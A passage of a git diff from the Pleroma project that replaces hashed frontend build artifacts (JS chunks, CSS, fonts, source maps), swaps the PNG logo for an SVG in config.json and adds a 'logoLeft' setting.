bytes .../static/static/js/2.e852a6b4b3bba752b838.js.map | Bin 460543 -> 0 bytes priv/static/static/js/20.818c38d27369c3a4d677.js | Bin 26280 -> 0 bytes .../static/js/20.818c38d27369c3a4d677.js.map | Bin 113 -> 0 bytes priv/static/static/js/20.a64fd29da59076399a27.js | Bin 0 -> 26280 bytes .../static/js/20.a64fd29da59076399a27.js.map | Bin 0 -> 113 bytes priv/static/static/js/21.243d9e6ebf469a2dc740.js | Bin 0 -> 13162 bytes .../static/js/21.243d9e6ebf469a2dc740.js.map | Bin 0 -> 113 bytes priv/static/static/js/21.ce4cda179d888ca6bc2a.js | Bin 13162 -> 0 bytes .../static/js/21.ce4cda179d888ca6bc2a.js.map | Bin 113 -> 0 bytes priv/static/static/js/22.2ea93c6cc569ef0256ab.js | Bin 19706 -> 0 bytes .../static/js/22.2ea93c6cc569ef0256ab.js.map | Bin 113 -> 0 bytes priv/static/static/js/22.e20ef7e5fefc0964cdd1.js | Bin 0 -> 19706 bytes .../static/js/22.e20ef7e5fefc0964cdd1.js.map | Bin 0 -> 113 bytes priv/static/static/js/23.614a35f9ded445292f4a.js | Bin 0 -> 27669 bytes .../static/js/23.614a35f9ded445292f4a.js.map | Bin 0 -> 113 bytes priv/static/static/js/23.a57a7845cc20fafd06d1.js | Bin 27669 -> 0 bytes .../static/js/23.a57a7845cc20fafd06d1.js.map | Bin 113 -> 0 bytes priv/static/static/js/24.35eb55a657b5485f8491.js | Bin 18493 -> 0 bytes .../static/js/24.35eb55a657b5485f8491.js.map | Bin 113 -> 0 bytes priv/static/static/js/24.6ae9ca51e51e023afbe4.js | Bin 0 -> 18493 bytes .../static/js/24.6ae9ca51e51e023afbe4.js.map | Bin 0 -> 113 bytes priv/static/static/js/25.5a9efe20e3ae1352e6d2.js | Bin 28038 -> 0 bytes .../static/js/25.5a9efe20e3ae1352e6d2.js.map | Bin 113 -> 0 bytes priv/static/static/js/25.eadae0d48ee5be52a16c.js | Bin 0 -> 29722 bytes .../static/js/25.eadae0d48ee5be52a16c.js.map | Bin 0 -> 113 bytes priv/static/static/js/26.8fd0027b982c4bcdc88f.js | Bin 0 -> 14249 bytes .../static/js/26.8fd0027b982c4bcdc88f.js.map | Bin 0 -> 113 bytes priv/static/static/js/26.cf13231d524e5ca3b3e6.js | Bin 14249 -> 0 bytes .../static/js/26.cf13231d524e5ca3b3e6.js.map | Bin 113 -> 0 bytes priv/static/static/js/27.6d90a54efba08d261d69.js | Bin 0 -> 2022 bytes .../static/js/27.6d90a54efba08d261d69.js.map | Bin 0 -> 113 bytes priv/static/static/js/27.fca8d4f6e444bd14f376.js | Bin 2022 -> 0 bytes .../static/js/27.fca8d4f6e444bd14f376.js.map | Bin 113 -> 0 bytes priv/static/static/js/28.e0f9f164e0bfd890dc61.js | Bin 25157 -> 0 bytes .../static/js/28.e0f9f164e0bfd890dc61.js.map | Bin 113 -> 0 bytes priv/static/static/js/28.f1353aa382a104262d1a.js | Bin 0 -> 25311 bytes .../static/js/28.f1353aa382a104262d1a.js.map | Bin 0 -> 113 bytes priv/static/static/js/29.0b69359f0fe5c0785746.js | Bin 23857 -> 0 bytes .../static/js/29.0b69359f0fe5c0785746.js.map | Bin 113 -> 0 bytes priv/static/static/js/29.39c1e87a689c840395b2.js | Bin 0 -> 23857 bytes .../static/js/29.39c1e87a689c840395b2.js.map | Bin 0 -> 113 bytes priv/static/static/js/3.7d21accf4e5bd07e3ebf.js | Bin 78760 -> 0 bytes .../static/static/js/3.7d21accf4e5bd07e3ebf.js.map | Bin 332972 -> 0 bytes priv/static/static/js/3.a0df8a5bcd120d1f8581.js | Bin 0 -> 78760 bytes .../static/static/js/3.a0df8a5bcd120d1f8581.js.map | Bin 0 -> 332972 bytes priv/static/static/js/30.64736585965c63c2b5d4.js | Bin 0 -> 26563 bytes .../static/js/30.64736585965c63c2b5d4.js.map | Bin 0 -> 113 bytes priv/static/static/js/30.fce58be0b52ca3e32fa4.js | Bin 21037 -> 0 bytes .../static/js/30.fce58be0b52ca3e32fa4.js.map | Bin 113 -> 0 bytes priv/static/static/js/4.4cde7fdd1fe6bf2a9499.js | Bin 0 -> 2177 bytes .../static/static/js/4.4cde7fdd1fe6bf2a9499.js.map | Bin 0 -> 7940 bytes priv/static/static/js/4.5719922a4e807145346d.js | Bin 2177 -> 0 bytes .../static/static/js/4.5719922a4e807145346d.js.map | Bin 7940 -> 0 bytes priv/static/static/js/5.2e165bc072548e533dd4.js | Bin 0 -> 6994 bytes .../static/static/js/5.2e165bc072548e533dd4.js.map | Bin 0 -> 112 bytes priv/static/static/js/5.cf05c5ddbdbac890ae35.js | Bin 6994 -> 0 bytes .../static/static/js/5.cf05c5ddbdbac890ae35.js.map | Bin 112 -> 0 bytes priv/static/static/js/6.260ccd84f8cd2af27970.js | Bin 0 -> 13285 bytes .../static/static/js/6.260ccd84f8cd2af27970.js.map | Bin 0 -> 112 bytes priv/static/static/js/6.ecfd3302a692de148391.js | Bin 7792 -> 0 bytes .../static/static/js/6.ecfd3302a692de148391.js.map | Bin 112 -> 0 bytes priv/static/static/js/7.1c41eff6cfc75a00bde4.js | Bin 0 -> 15617 bytes .../static/static/js/7.1c41eff6cfc75a00bde4.js.map | Bin 0 -> 112 bytes priv/static/static/js/7.dd44c3d58fb9dced093d.js | Bin 15617 -> 0 bytes .../static/static/js/7.dd44c3d58fb9dced093d.js.map | Bin 112 -> 0 bytes priv/static/static/js/8.636322a87bb10a1754f8.js | Bin 21604 -> 0 bytes .../static/static/js/8.636322a87bb10a1754f8.js.map | Bin 112 -> 0 bytes priv/static/static/js/8.9b35c2fee24ab7481e00.js | Bin 0 -> 21604 bytes .../static/static/js/8.9b35c2fee24ab7481e00.js.map | Bin 0 -> 112 bytes priv/static/static/js/9.3a29094f1886648a0af3.js | Bin 0 -> 28533 bytes .../static/static/js/9.3a29094f1886648a0af3.js.map | Bin 0 -> 112 bytes priv/static/static/js/9.6010dbcce7b4d7c05a18.js | Bin 27050 -> 0 bytes .../static/static/js/9.6010dbcce7b4d7c05a18.js.map | Bin 112 -> 0 bytes priv/static/static/js/app.45547c05212c403dd77c.js | Bin 0 -> 597299 bytes .../static/js/app.45547c05212c403dd77c.js.map | Bin 0 -> 1546929 bytes priv/static/static/js/app.826c44232e0a76bbd9ba.js | Bin 582304 -> 0 bytes .../static/js/app.826c44232e0a76bbd9ba.js.map | Bin 1487325 -> 0 bytes .../static/js/vendors~app.90c4af83c1ae68f4cd95.js | Bin 304082 -> 0 bytes .../js/vendors~app.90c4af83c1ae68f4cd95.js.map | Bin 1274957 -> 0 bytes .../static/js/vendors~app.952124344a84613dbac0.js | Bin 0 -> 372654 bytes .../js/vendors~app.952124344a84613dbac0.js.map | Bin 0 -> 2260530 bytes priv/static/static/logo.png | Bin 1304 -> 0 bytes priv/static/static/logo.svg | 71 ++++ priv/static/static/terms-of-service.html | 2 +- priv/static/sw-pleroma.js | Bin 181672 -> 181634 bytes priv/static/sw-pleroma.js.map | Bin 696306 -> 696420 bytes 142 files changed, 76 insertions(+), 560 deletions(-) delete mode 100644 priv/static/static/css/app.77b1644622e3bae24b6b.css delete mode 100644 priv/static/static/css/app.77b1644622e3bae24b6b.css.map create mode 100644 priv/static/static/css/app.9a4c5ede37b2f0230836.css create mode 100644 priv/static/static/css/app.9a4c5ede37b2f0230836.css.map delete mode 100644 priv/static/static/font/fontello.1600365488745.eot delete mode 100644 priv/static/static/font/fontello.1600365488745.svg delete mode 100644 priv/static/static/font/fontello.1600365488745.ttf delete mode 100644 priv/static/static/font/fontello.1600365488745.woff delete mode 100644 priv/static/static/font/fontello.1600365488745.woff2 delete mode 100644 priv/static/static/fontello.1600365488745.css delete mode 100644 priv/static/static/fontello.json create mode 100644 priv/static/static/js/10.46f441b948010eda4403.js create mode 100644 priv/static/static/js/10.46f441b948010eda4403.js.map delete mode 100644 priv/static/static/js/10.46fbbdfaf0d4800f349b.js delete mode 100644 priv/static/static/js/10.46fbbdfaf0d4800f349b.js.map delete mode 100644 priv/static/static/js/11.708cc2513c53879a92cc.js delete mode 100644 priv/static/static/js/11.708cc2513c53879a92cc.js.map create mode 100644 priv/static/static/js/11.8ff1ed54814f2d34cb3e.js create mode 100644 priv/static/static/js/11.8ff1ed54814f2d34cb3e.js.map create mode 100644 priv/static/static/js/12.13204bdd0ad5703a3ea3.js create mode 100644 priv/static/static/js/12.13204bdd0ad5703a3ea3.js.map delete mode 100644 priv/static/static/js/12.b3bf0bc313861d6ec36b.js delete mode 100644 priv/static/static/js/12.b3bf0bc313861d6ec36b.js.map delete mode 100644 priv/static/static/js/13.adb8a942514d735722c4.js delete mode 100644 priv/static/static/js/13.adb8a942514d735722c4.js.map create mode 100644 priv/static/static/js/13.e27c3eeddcc4b11c1f54.js create mode 100644 priv/static/static/js/13.e27c3eeddcc4b11c1f54.js.map create mode 100644 priv/static/static/js/14.273855b3e4e27ce80219.js create mode 100644 priv/static/static/js/14.273855b3e4e27ce80219.js.map delete mode 100644 priv/static/static/js/14.d015d9b2ea16407e389c.js delete mode 100644 priv/static/static/js/14.d015d9b2ea16407e389c.js.map delete mode 100644 priv/static/static/js/15.19866e6a366ccf982284.js delete mode 100644 priv/static/static/js/15.19866e6a366ccf982284.js.map create mode 100644 priv/static/static/js/15.afbe29b6665fcd015b2d.js create mode 100644 priv/static/static/js/15.afbe29b6665fcd015b2d.js.map delete mode 100644 priv/static/static/js/16.38a984effd54736f6a2c.js delete mode 100644 priv/static/static/js/16.38a984effd54736f6a2c.js.map create mode 100644 priv/static/static/js/16.5e3f20da470591d0cabf.js create mode 100644 priv/static/static/js/16.5e3f20da470591d0cabf.js.map create mode 100644 priv/static/static/js/17.44e90ef82ee2ef12dc3f.js create mode 100644 priv/static/static/js/17.44e90ef82ee2ef12dc3f.js.map delete mode 100644 priv/static/static/js/17.9c25507194320db2e85b.js delete mode 100644 priv/static/static/js/17.9c25507194320db2e85b.js.map delete mode 100644 priv/static/static/js/18.94946caca48930c224c7.js delete mode 100644 priv/static/static/js/18.94946caca48930c224c7.js.map create mode 100644 priv/static/static/js/18.9a5b877f94b2b53065e1.js create mode 100644 priv/static/static/js/18.9a5b877f94b2b53065e1.js.map create mode 100644 priv/static/static/js/19.1fd4da643df0abf89122.js create mode 100644 priv/static/static/js/19.1fd4da643df0abf89122.js.map delete mode 100644 priv/static/static/js/19.233c81ac2c28d55e9f13.js delete mode 100644 priv/static/static/js/19.233c81ac2c28d55e9f13.js.map create mode 100644 priv/static/static/js/2.422e6c756ac673a6fd44.js create mode 100644 priv/static/static/js/2.422e6c756ac673a6fd44.js.map delete mode 100644 priv/static/static/js/2.e852a6b4b3bba752b838.js delete mode 100644 priv/static/static/js/2.e852a6b4b3bba752b838.js.map delete mode 100644 priv/static/static/js/20.818c38d27369c3a4d677.js delete mode 100644 priv/static/static/js/20.818c38d27369c3a4d677.js.map create mode 100644 priv/static/static/js/20.a64fd29da59076399a27.js create mode 100644 priv/static/static/js/20.a64fd29da59076399a27.js.map create mode 100644 priv/static/static/js/21.243d9e6ebf469a2dc740.js create mode 100644 priv/static/static/js/21.243d9e6ebf469a2dc740.js.map delete mode 100644 priv/static/static/js/21.ce4cda179d888ca6bc2a.js delete mode 100644 priv/static/static/js/21.ce4cda179d888ca6bc2a.js.map delete mode 100644 priv/static/static/js/22.2ea93c6cc569ef0256ab.js delete mode 100644 priv/static/static/js/22.2ea93c6cc569ef0256ab.js.map create mode 100644 priv/static/static/js/22.e20ef7e5fefc0964cdd1.js create mode 100644 priv/static/static/js/22.e20ef7e5fefc0964cdd1.js.map create mode 100644 priv/static/static/js/23.614a35f9ded445292f4a.js create mode 100644 priv/static/static/js/23.614a35f9ded445292f4a.js.map delete mode 100644 priv/static/static/js/23.a57a7845cc20fafd06d1.js delete mode 100644 priv/static/static/js/23.a57a7845cc20fafd06d1.js.map delete mode 100644 priv/static/static/js/24.35eb55a657b5485f8491.js delete mode 100644 priv/static/static/js/24.35eb55a657b5485f8491.js.map create mode 100644 priv/static/static/js/24.6ae9ca51e51e023afbe4.js create mode 100644 priv/static/static/js/24.6ae9ca51e51e023afbe4.js.map delete mode 100644 priv/static/static/js/25.5a9efe20e3ae1352e6d2.js delete mode 100644 priv/static/static/js/25.5a9efe20e3ae1352e6d2.js.map create mode 100644 priv/static/static/js/25.eadae0d48ee5be52a16c.js create mode 100644 priv/static/static/js/25.eadae0d48ee5be52a16c.js.map create mode 100644 priv/static/static/js/26.8fd0027b982c4bcdc88f.js create mode 100644 priv/static/static/js/26.8fd0027b982c4bcdc88f.js.map delete mode 100644 priv/static/static/js/26.cf13231d524e5ca3b3e6.js delete mode 100644 priv/static/static/js/26.cf13231d524e5ca3b3e6.js.map create mode 100644 priv/static/static/js/27.6d90a54efba08d261d69.js create mode 100644 priv/static/static/js/27.6d90a54efba08d261d69.js.map delete mode 100644 priv/static/static/js/27.fca8d4f6e444bd14f376.js delete mode 100644 priv/static/static/js/27.fca8d4f6e444bd14f376.js.map delete mode 100644 priv/static/static/js/28.e0f9f164e0bfd890dc61.js delete mode 100644 priv/static/static/js/28.e0f9f164e0bfd890dc61.js.map create mode 100644 priv/static/static/js/28.f1353aa382a104262d1a.js create mode 100644 priv/static/static/js/28.f1353aa382a104262d1a.js.map delete mode 100644 priv/static/static/js/29.0b69359f0fe5c0785746.js delete mode 100644 priv/static/static/js/29.0b69359f0fe5c0785746.js.map create mode 100644 priv/static/static/js/29.39c1e87a689c840395b2.js create mode 100644 priv/static/static/js/29.39c1e87a689c840395b2.js.map delete mode 100644 priv/static/static/js/3.7d21accf4e5bd07e3ebf.js delete mode 100644 priv/static/static/js/3.7d21accf4e5bd07e3ebf.js.map create mode 100644 priv/static/static/js/3.a0df8a5bcd120d1f8581.js create mode 100644 priv/static/static/js/3.a0df8a5bcd120d1f8581.js.map create mode 100644 priv/static/static/js/30.64736585965c63c2b5d4.js create mode 100644 priv/static/static/js/30.64736585965c63c2b5d4.js.map delete mode 100644 priv/static/static/js/30.fce58be0b52ca3e32fa4.js delete mode 100644 priv/static/static/js/30.fce58be0b52ca3e32fa4.js.map create mode 100644 priv/static/static/js/4.4cde7fdd1fe6bf2a9499.js create mode 100644 priv/static/static/js/4.4cde7fdd1fe6bf2a9499.js.map delete mode 100644 priv/static/static/js/4.5719922a4e807145346d.js delete mode 100644 priv/static/static/js/4.5719922a4e807145346d.js.map create mode 100644 priv/static/static/js/5.2e165bc072548e533dd4.js create mode 100644 priv/static/static/js/5.2e165bc072548e533dd4.js.map delete mode 100644 priv/static/static/js/5.cf05c5ddbdbac890ae35.js delete mode 100644 priv/static/static/js/5.cf05c5ddbdbac890ae35.js.map create mode 100644 priv/static/static/js/6.260ccd84f8cd2af27970.js create mode 100644 priv/static/static/js/6.260ccd84f8cd2af27970.js.map delete mode 100644 priv/static/static/js/6.ecfd3302a692de148391.js delete mode 100644 priv/static/static/js/6.ecfd3302a692de148391.js.map create mode 100644 priv/static/static/js/7.1c41eff6cfc75a00bde4.js create mode 100644 priv/static/static/js/7.1c41eff6cfc75a00bde4.js.map delete mode 100644 priv/static/static/js/7.dd44c3d58fb9dced093d.js delete mode 100644 priv/static/static/js/7.dd44c3d58fb9dced093d.js.map delete mode 100644 priv/static/static/js/8.636322a87bb10a1754f8.js delete mode 100644 priv/static/static/js/8.636322a87bb10a1754f8.js.map create mode 100644 priv/static/static/js/8.9b35c2fee24ab7481e00.js create mode 100644 priv/static/static/js/8.9b35c2fee24ab7481e00.js.map create mode 100644 priv/static/static/js/9.3a29094f1886648a0af3.js create mode 100644 priv/static/static/js/9.3a29094f1886648a0af3.js.map delete mode 100644 priv/static/static/js/9.6010dbcce7b4d7c05a18.js delete mode 100644 priv/static/static/js/9.6010dbcce7b4d7c05a18.js.map create mode 100644 priv/static/static/js/app.45547c05212c403dd77c.js create mode 100644 priv/static/static/js/app.45547c05212c403dd77c.js.map delete mode 100644 priv/static/static/js/app.826c44232e0a76bbd9ba.js delete mode 100644 priv/static/static/js/app.826c44232e0a76bbd9ba.js.map delete mode 100644 priv/static/static/js/vendors~app.90c4af83c1ae68f4cd95.js delete mode 100644 priv/static/static/js/vendors~app.90c4af83c1ae68f4cd95.js.map create mode 100644 priv/static/static/js/vendors~app.952124344a84613dbac0.js create mode 100644 priv/static/static/js/vendors~app.952124344a84613dbac0.js.map delete mode 100644 priv/static/static/logo.png create mode 100644 priv/static/static/logo.svg diff --git a/priv/static/index.html b/priv/static/index.html index f5690a8d6..9b774959a 100644 --- a/priv/static/index.html +++ b/priv/static/index.html @@ -1 +1 @@ -<!DOCTYPE html><html lang=en><head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,user-scalable=no"><title>Pleroma
\ No newline at end of file +Pleroma
\ No newline at end of file diff --git a/priv/static/static/config.json b/priv/static/static/config.json index 0030f78f1..f59e645ac 100644 --- a/priv/static/static/config.json +++ b/priv/static/static/config.json @@ -10,9 +10,10 @@ "hideSitename": false, "hideUserStats": false, "loginMethod": "password", - "logo": "/static/logo.png", + "logo": "/static/logo.svg", "logoMargin": ".1em", "logoMask": true, + "logoLeft": false, "minimalScopesMode": false, "nsfwCensorImage": "", "postContentType": "text/plain", diff --git a/priv/static/static/css/app.77b1644622e3bae24b6b.css b/priv/static/static/css/app.77b1644622e3bae24b6b.css deleted file mode 100644 index 8038882c0..000000000 Binary files a/priv/static/static/css/app.77b1644622e3bae24b6b.css and /dev/null differ diff --git a/priv/static/static/css/app.77b1644622e3bae24b6b.css.map b/priv/static/static/css/app.77b1644622e3bae24b6b.css.map deleted file mode 100644 index 4b042ef35..000000000 --- a/priv/static/static/css/app.77b1644622e3bae24b6b.css.map +++ /dev/null @@ -1 +0,0 @@ -{"version":3,"sources":["webpack:///./src/components/tab_switcher/tab_switcher.scss","webpack:///./src/hocs/with_load_more/with_load_more.scss"],"names":[],"mappings":"AAAA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,C;ACtOA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,C","file":"static/css/app.77b1644622e3bae24b6b.css","sourcesContent":[".tab-switcher {\n display: -ms-flexbox;\n display: flex;\n}\n.tab-switcher .tab-icon {\n font-size: 2em;\n display: block;\n}\n.tab-switcher.top-tabs {\n -ms-flex-direction: column;\n flex-direction: column;\n}\n.tab-switcher.top-tabs > .tabs {\n width: 100%;\n overflow-y: hidden;\n overflow-x: auto;\n padding-top: 5px;\n -ms-flex-direction: row;\n flex-direction: row;\n}\n.tab-switcher.top-tabs > .tabs::after, .tab-switcher.top-tabs > .tabs::before {\n content: \"\";\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n border-bottom: 1px solid;\n border-bottom-color: #222;\n border-bottom-color: var(--border, #222);\n}\n.tab-switcher.top-tabs > .tabs .tab-wrapper {\n height: 28px;\n}\n.tab-switcher.top-tabs > .tabs .tab-wrapper:not(.active)::after {\n left: 0;\n right: 0;\n bottom: 0;\n border-bottom: 1px solid;\n border-bottom-color: #222;\n border-bottom-color: var(--border, #222);\n}\n.tab-switcher.top-tabs > .tabs .tab {\n width: 100%;\n min-width: 1px;\n border-bottom-left-radius: 0;\n border-bottom-right-radius: 0;\n padding-bottom: 99px;\n margin-bottom: -93px;\n}\n.tab-switcher.top-tabs .contents.scrollable-tabs {\n -ms-flex-preferred-size: 0;\n flex-basis: 0;\n}\n.tab-switcher.side-tabs {\n -ms-flex-direction: row;\n flex-direction: row;\n}\n@media all and (max-width: 800px) {\n .tab-switcher.side-tabs {\n overflow-x: auto;\n }\n}\n.tab-switcher.side-tabs > .contents {\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n}\n.tab-switcher.side-tabs > .tabs {\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n overflow-y: auto;\n overflow-x: hidden;\n -ms-flex-direction: column;\n flex-direction: column;\n}\n.tab-switcher.side-tabs > .tabs::after, .tab-switcher.side-tabs > .tabs::before {\n -ms-flex-negative: 0;\n flex-shrink: 0;\n -ms-flex-preferred-size: 0.5em;\n flex-basis: 0.5em;\n content: \"\";\n border-right: 1px solid;\n border-right-color: #222;\n border-right-color: var(--border, #222);\n}\n.tab-switcher.side-tabs > .tabs::after {\n -ms-flex-positive: 1;\n flex-grow: 1;\n}\n.tab-switcher.side-tabs > .tabs::before {\n -ms-flex-positive: 0;\n flex-grow: 0;\n}\n.tab-switcher.side-tabs > .tabs .tab-wrapper {\n min-width: 10em;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n}\n@media all and (max-width: 800px) {\n .tab-switcher.side-tabs > .tabs .tab-wrapper {\n min-width: 1em;\n }\n}\n.tab-switcher.side-tabs > .tabs .tab-wrapper:not(.active)::after {\n top: 0;\n right: 0;\n bottom: 0;\n border-right: 1px solid;\n border-right-color: #222;\n border-right-color: var(--border, #222);\n}\n.tab-switcher.side-tabs > .tabs .tab-wrapper::before {\n -ms-flex: 0 0 6px;\n flex: 0 0 6px;\n content: \"\";\n border-right: 1px solid;\n border-right-color: #222;\n border-right-color: var(--border, #222);\n}\n.tab-switcher.side-tabs > .tabs .tab-wrapper:last-child .tab {\n margin-bottom: 0;\n}\n.tab-switcher.side-tabs > .tabs .tab {\n -ms-flex: 1;\n flex: 1;\n box-sizing: content-box;\n min-width: 10em;\n min-width: 1px;\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n padding-left: 1em;\n padding-right: calc(1em + 200px);\n margin-right: -200px;\n margin-left: 1em;\n}\n@media all and (max-width: 800px) {\n .tab-switcher.side-tabs > .tabs .tab {\n padding-left: 0.25em;\n padding-right: calc(.25em + 200px);\n margin-right: calc(.25em - 200px);\n margin-left: 0.25em;\n }\n .tab-switcher.side-tabs > .tabs .tab .text {\n display: none;\n }\n}\n.tab-switcher .contents {\n -ms-flex: 1 0 auto;\n flex: 1 0 auto;\n min-height: 0px;\n}\n.tab-switcher .contents .hidden {\n display: none;\n}\n.tab-switcher .contents .full-height:not(.hidden) {\n height: 100%;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n}\n.tab-switcher .contents .full-height:not(.hidden) > *:not(.mobile-label) {\n -ms-flex: 1;\n flex: 1;\n}\n.tab-switcher .contents.scrollable-tabs {\n overflow-y: auto;\n}\n.tab-switcher .tab {\n position: relative;\n white-space: nowrap;\n padding: 6px 1em;\n background-color: #182230;\n background-color: var(--tab, #182230);\n}\n.tab-switcher .tab, .tab-switcher .tab:active .tab-icon {\n color: #b9b9ba;\n color: var(--tabText, #b9b9ba);\n}\n.tab-switcher .tab:not(.active) {\n z-index: 4;\n}\n.tab-switcher .tab:not(.active):hover {\n z-index: 6;\n}\n.tab-switcher .tab.active {\n background: transparent;\n z-index: 5;\n color: #b9b9ba;\n color: var(--tabActiveText, #b9b9ba);\n}\n.tab-switcher .tab img {\n max-height: 26px;\n vertical-align: top;\n margin-top: -5px;\n}\n.tab-switcher .tabs {\n display: -ms-flexbox;\n display: flex;\n position: relative;\n box-sizing: border-box;\n}\n.tab-switcher .tabs::after, .tab-switcher .tabs::before {\n display: block;\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n}\n.tab-switcher .tab-wrapper {\n position: relative;\n display: -ms-flexbox;\n display: flex;\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n}\n.tab-switcher .tab-wrapper:not(.active)::after {\n content: \"\";\n position: absolute;\n z-index: 7;\n}\n.tab-switcher .mobile-label {\n padding-left: 0.3em;\n padding-bottom: 0.25em;\n margin-top: 0.5em;\n margin-left: 0.2em;\n margin-bottom: 0.25em;\n border-bottom: 1px solid var(--border, #222);\n}\n@media all and (min-width: 800px) {\n .tab-switcher .mobile-label {\n display: none;\n }\n}",".with-load-more-footer {\n padding: 10px;\n text-align: center;\n border-top: 1px solid;\n border-top-color: #222;\n border-top-color: var(--border, #222);\n}\n.with-load-more-footer .error {\n font-size: 14px;\n}\n.with-load-more-footer a {\n cursor: pointer;\n}"],"sourceRoot":""} \ No newline at end of file diff --git a/priv/static/static/css/app.9a4c5ede37b2f0230836.css b/priv/static/static/css/app.9a4c5ede37b2f0230836.css new file mode 100644 index 000000000..22b9fdbe7 Binary files /dev/null and b/priv/static/static/css/app.9a4c5ede37b2f0230836.css differ diff --git a/priv/static/static/css/app.9a4c5ede37b2f0230836.css.map b/priv/static/static/css/app.9a4c5ede37b2f0230836.css.map new file mode 100644 index 000000000..f54bd9ee6 --- /dev/null +++ b/priv/static/static/css/app.9a4c5ede37b2f0230836.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["webpack:///./src/components/tab_switcher/tab_switcher.scss","webpack:///./src/hocs/with_load_more/with_load_more.scss"],"names":[],"mappings":"AAAA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,C;ACtOA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,C","file":"static/css/app.9a4c5ede37b2f0230836.css","sourcesContent":[".tab-switcher {\n display: -ms-flexbox;\n display: flex;\n}\n.tab-switcher .tab-icon {\n margin: 0.2em auto;\n display: block;\n}\n.tab-switcher.top-tabs {\n -ms-flex-direction: column;\n flex-direction: column;\n}\n.tab-switcher.top-tabs > .tabs {\n width: 100%;\n overflow-y: hidden;\n overflow-x: auto;\n padding-top: 5px;\n -ms-flex-direction: row;\n flex-direction: row;\n}\n.tab-switcher.top-tabs > .tabs::after, .tab-switcher.top-tabs > .tabs::before {\n content: \"\";\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n border-bottom: 1px solid;\n border-bottom-color: #222;\n border-bottom-color: var(--border, #222);\n}\n.tab-switcher.top-tabs > .tabs .tab-wrapper {\n height: 28px;\n}\n.tab-switcher.top-tabs > .tabs .tab-wrapper:not(.active)::after {\n left: 0;\n right: 0;\n bottom: 0;\n border-bottom: 1px solid;\n border-bottom-color: #222;\n border-bottom-color: var(--border, #222);\n}\n.tab-switcher.top-tabs > .tabs .tab {\n width: 100%;\n min-width: 1px;\n border-bottom-left-radius: 0;\n border-bottom-right-radius: 0;\n padding-bottom: 99px;\n margin-bottom: -93px;\n}\n.tab-switcher.top-tabs 